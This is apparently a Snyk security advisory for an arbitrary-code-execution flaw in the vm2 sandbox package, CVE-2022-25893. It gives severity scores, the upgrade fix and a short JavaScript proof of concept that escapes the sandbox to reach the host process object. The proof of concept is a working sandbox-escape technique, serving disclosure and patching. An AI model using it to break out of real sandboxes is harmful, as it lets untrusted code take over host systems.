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Arbitrary Code Execution Affecting vm2 package, versions <3.9.10

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.18% (55th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-VM2-2990237
  • published 20 Dec 2022
  • disclosed 24 Aug 2022
  • credit Ghaem Arasteh
Report a new vulnerability Found a mistake?

Introduced: 24 Aug 2022

CVE-2022-25893 Open this link in a new tab
CWE-94 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade vm2 to version 3.9.10 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Arbitrary Code Execution due to the usage of prototype lookup for the WeakMap.prototype.set method. Exploiting this vulnerability leads to access to a host object and a sandbox compromise.

PoC 

const { VM } = require('vm2');
new VM().run(`
const { set } = WeakMap.prototype;
WeakMap.prototype.set = function(v) {
return set.call(this, v, v);
};
Error.prepareStackTrace =
Error.prepareStackTrace =
(_, c) => c.map(c => c.getThis()).find(a => a);
const { stack } = new Error();
Error.prepareStackTrace = undefined;
stack.process.exit(1);
`);

// Never gets executed.
console.log('Finished');